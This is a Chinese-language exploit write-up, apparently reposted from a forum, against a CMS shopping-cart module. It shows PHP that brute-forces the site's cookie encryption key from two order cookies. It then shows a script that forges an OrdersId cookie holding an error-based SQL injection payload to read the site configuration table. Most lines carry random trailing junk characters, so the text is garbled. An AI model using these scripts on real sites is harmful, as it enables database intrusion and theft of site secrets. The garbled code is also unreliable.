www.xxx.com/plus/search.php?keyword=1 L O4 m. _" M& V; o; q
在 include/shopcar.class.php中2 O U6 O1 k0 o! x: ]* o1 T$ a
先看一下这个shopcar类是如何生成cookie的
, y& I* v5 `0 l3 @- {7 l) _239 function saveCookie($key,$value)
0 J/ r2 T0 v. z v- Z240 {' p/ r# \# I4 l5 B! L) ?
241 if(is_array($value))
: p0 Q: \* R2 ?- [/ F4 }: i242 {% o7 R/ G- U1 N- ]8 \ N. x
243 $value = $this->enCrypt($this->enCode($value));
6 |' Y5 u# [9 J' R244 }
! C& L( T, e( E0 \4 p245 else" D& t% G$ L2 n F
246 {
& r v; H) |; R- x% u247 $value = $this->enCrypt($value);0 X$ g7 j1 G+ g- K& h
248 }; n% b4 X. t8 W% g3 ~
249 setcookie($key,$value,time()+36000,’/');3 c g9 k/ ^3 `) T7 k0 a7 v# P
250 }
- `# O! I- @4 \5 H) ?( I简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
* D+ ~" Z9 ~; M. Q" ~+ h S$ w186 function enCrypt($txt)/ v0 W. N5 w+ }1 z
187 {7 Z0 D/ v3 T4 J% J, I, \
188 srand((double)microtime() * 1000000);
v3 b6 w, _1 J9 u7 ]/ o189 $encrypt_key = md5(rand(0, 32000));# k9 S+ F- `7 {. ]2 g
190 $ctr = 0;+ B# `0 ^$ H1 z+ i: { X% Z( L
191 $tmp = ”;! Y3 B" {, y* c9 `& s
192 for($i = 0; $i < strlen($txt); $i++)- Q" k! C [- [- F
193 {6 U% K2 a/ w" \, S2 r7 ~
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ N3 E4 l" ]( E" K. W7 x& [: W) q195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);; M# F& H! L' w6 T( f5 M. C
196 }
9 t$ u0 R! M' _3 n( @197 return base64_encode($this->setKey($tmp));
5 [# Y4 W+ m) q) \) T198 }
0 v! T" i- t8 V5 n0 Y213 function setKey($txt)
$ E/ D9 R/ }: K: {214 {
* |8 a& @) z% I/ \215 global $cfg_cookie_encode;) ^5 ?& y) u6 I/ a& L/ G4 A/ _
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
$ g; b }. h! l; S& D217 $ctr = 0;
5 o @* m6 g' Y& T218 $tmp = ”;. T- `: {5 Z0 _" G R5 V
219 for($i = 0; $i < strlen($txt); $i++)
7 a( Q( o, A; M1 C& L( c220 {3 ~5 P5 j& q& D' L# O
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
; J* n5 s) W* e9 t X2 r \( B222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
4 Z( I% N1 \ i223 }8 M$ m2 \3 ^* S+ `7 R4 O
224 return $tmp;" v/ B6 [7 E( W# [# S, D$ ^
225 }9 {6 t$ }2 ~# j
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
4 {( T+ w! a9 i4 N3 C% t, m然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
. U0 C1 m. H) l+ N具体代码如下:
2 D: t8 ?, S3 t/ x4 G2 H+ C<?php
1 A5 A$ T: I5 t3 m! @" A5 r$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here5 Q9 I$ ?5 t2 ^1 u4 }
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here3 S! d4 A! }) _4 S0 G6 ^- W7 Y* h
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
0 J- u4 x! S0 A3 ?function reStrCode($code,$string)4 d, I2 A9 _6 X0 _3 a, q# b. K+ J
{4 J. @/ a1 V/ U
$code = base64_decode($code);
$ H( \4 p2 t! g! a$key = “”;7 ?; K/ k$ L9 A, [& n0 b5 q- t
for($i=0 ; $i<32 ; $i++)
+ t: {5 E! g! q: a{
( J7 V ~3 |3 L$key .= $string[$i] ^ $code[$i];9 E4 k7 [( ] B/ h
}$ V5 v+ P; @; D& c) M5 S2 Z
return $key;: B) u y# `8 \: A
}
9 C. d' D) {. A: Q+ X% vfunction getKeys($cookie,$plantxt)
; \7 C# x3 f# R2 e{6 o' ~& v( @! N# J
$tmp = $cookie;
' T7 i9 B* H( C9 A1 r B' s* u$results = array();0 N+ X) {. d/ J1 B5 X! N& V
for($j=0 ; $j < 32000; $j++)6 ~1 \* P" j; O' ?6 l- q. _! e, f. X
{
0 l- J2 U, ^. X; u$ W4 a) a- S- t7 E/ E( z/ j v
$txt = $plantxt;, p! p2 m( _4 v$ x" V: G4 G
$ctr = 0;
5 R \! s: o. K( R, j, c& z) U$tmp = ”;
/ x5 P# b1 D; d4 u( ?$ k% E$encrypt_key = md5($j);
$ w( ~: o1 ]" Y: @7 M& ~, ~for($i =0; $i < strlen($txt); $i ++)# w; h! k. y, U2 q: ^: `
{( ?. q" A4 B/ o: z" i1 z; n) S i
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 C! [8 J5 G4 H5 A- Q$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
6 J- v( f, r! C" m+ ~+ w}
/ b# @( t3 j. N; Z# t0 v3 j$string = $tmp;
i8 x& }# j( o" {$code = $cookie;
3 a9 a8 F9 q9 V+ G- E$result = reStrCode($code,$string);
9 w) j2 q5 c& [& iif(eregi(‘^[a-z0-9]+$’,$result))1 p2 D, H7 b) W8 |, G9 y1 ^
{
# Y' V0 Y' t, D* ]' Iecho $result.”\n”;
9 Q* g* t* }( J+ z5 B$results[] = $result;& D: p2 C5 H+ l7 }* @( p6 X4 Q
}
& ?; a: u7 ~( H; L" i}
: f; |8 S, v( V8 ?$ F3 R- zreturn $results;7 a3 ~, L7 S. b( L' t7 ~* ?8 F! D
}
2 Z; x6 [; [+ C) e' B: L$ S6 S$results1 = getKeys($cookie1,$plantxt);! B8 L( @; b; H' ]/ X* [* v
$results2 = getKeys($cookie2,$plantxt);
% Q& b: o1 H0 }5 E5 l/ |5 P: |print “\n——————–real key————————–\n”; p n) R% |6 T* O9 r ?9 f
foreach($results1 as $test1)6 }) }7 @9 X& x9 k; I5 _# K
{+ O' r; Z7 d' L- i+ h& f
foreach($results2 as $test2)
. K2 L \2 _% }* v{# t# ]3 }; h$ c* f- T
if($test1 == $test2)
) V) S7 g6 C( ` E p1 |8 J8 h{0 k' u1 N" R D# F8 C
echo $test1.”\n”;
( {5 ]* z8 ? W" n% F}6 Z. P; {' W. p K4 L
}7 R6 Y* s0 s7 i! d
}2 D8 L5 X: i4 W( S6 ~. o
?>" W, w# L( `$ n/ Q5 h* _
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
2 L$ D% C, r/ E/ A, l& c; cplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua15 {, @ W, A% h2 L, O8 |
然后推算出md5(strtolower($cfg_cookie_encode))2 R' l8 `, G3 D) z7 l
得到这个key之后,我们就可以构造任意购物车的cookie- ^, r9 R0 R7 a" q
接着看
+ T2 I; v6 X/ X1 T% Z' [5 d( p20 class MemberShops
: h$ Q. a5 ^# f0 V21 {
5 W4 Y7 \1 {$ d6 R( g9 n; M6 y22 var $OrdersId;* x0 e& G8 R* S$ z
23 var $productsId;
9 ?8 p. u5 q. D1 ~245 x" F# a4 d# M f+ I0 m
25 function __construct()* u5 i" v; d9 f2 {
26 {9 H$ z% K! i: V: l2 g
27 $this->OrdersId = $this->getCookie(“OrdersId”);
# p/ r2 o8 b' \( t+ E5 d" P8 }28 if(empty($this->OrdersId))) g X3 |+ C2 e9 t
29 {6 N- v( A- p8 l n! K
30 $this->OrdersId = $this->MakeOrders();3 S" Z! w4 s5 P1 j
31 }
- G& H9 s* G. \32 }
; m5 Q O, V d0 P发现OrderId是从cookie里面获取的% s! V. g4 z; \8 F) v9 S9 i6 d* {
然后8 m; L; d4 M# D B
/plus/carbuyaction.php中的
2 o0 g/ m0 y( ]: i6 }/ c29 $cart = new MemberShops();
2 a, m" a2 a! }2 |, Q7 u39 $OrdersId = $cart->OrdersId; //本次记录的订单号2 n) I2 k8 W! }; L; d3 D
……
' c$ j0 J5 Q% S173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
; O$ g. z8 J* g! u2 S接着我们就可以注入了
% c( N8 s3 L1 I j4 l @通过利用下面代码生成cookie:2 C6 V( `! ^0 ]4 B% l1 z$ ^
<?php( m$ o" Z8 G- L: i7 E+ e
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
* J# ^1 \7 H6 l4 \$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here: ]6 [) d( O, j% B
function setKey($txt)
9 _$ R( k0 d; [- m7 r. W% B& Y2 W3 ]{( @* @$ ~0 R3 ?6 o! ]
global $encrypt_key;5 A! e: \% M0 `- \! K5 o' ^" r
$ctr = 0;* A. L" Q( F# u" h J
$tmp = ”;
5 U7 |& j6 y8 ~0 y; @for($i = 0; $i < strlen($txt); $i++)
" ~5 z, x; j6 y* F{
3 a# n0 W" t9 j0 o$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr; m. W4 V. f# n7 w& ^
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
6 q Y- f1 n0 x* u7 l$ q5 [; U3 D9 n2 R. O}
# Q! @8 _8 I* b* J' K" \! breturn $tmp;% x6 X6 X) k, {( e
}
7 r" b' l7 p: tfunction enCrypt($txt)$ A$ \3 K1 V: E# j" o- o
{' ~0 W6 t! d4 V* u( ~+ E. T' C
srand((double)microtime() * 1000000);
3 H5 u8 ^4 R3 ~$encrypt_key = md5(rand(0, 32000));
! a: X8 m! \$ P b$ctr = 0;
0 ]4 }' |: h9 a8 ?# P' H$tmp = ”;# z' j9 O3 y$ E; S
for($i = 0; $i < strlen($txt); $i++)
( U/ ]/ K/ o$ Z( `- h{ g, ]8 k! k. {9 Q2 M: q: s
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;+ |3 t0 {( Y( |" m9 l' h
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
; \) { }& e+ z' X$ y}
7 V# T. ]0 t# E; e8 z# ~- [return base64_encode(setKey($tmp));
: P8 n& W U, t3 J7 O. A- T6 d}: o: b# _3 C' b" r6 \
for($dest =0;$dest = enCrypt($txt);)- W/ z& g* s& a: N: o" Y+ h
{2 Q' J0 d/ H& o" @8 A& m
if(!strpos($dest,’+'))0 K4 A) Y3 l4 ]7 a! V
{
; O8 ?/ U5 b9 U- O$ f) r9 N% \break;) G+ E) O6 E) d: i, J0 w
}+ \" b" R' o9 N( u
}
' m% h# ]/ O3 e4 ~& hecho $dest.”\n”;% b! ]2 ?/ t; T4 B
?>: l% l+ g6 g0 w! I% D
1 C ]0 M8 E) [6 Z# H! h1 P# |
|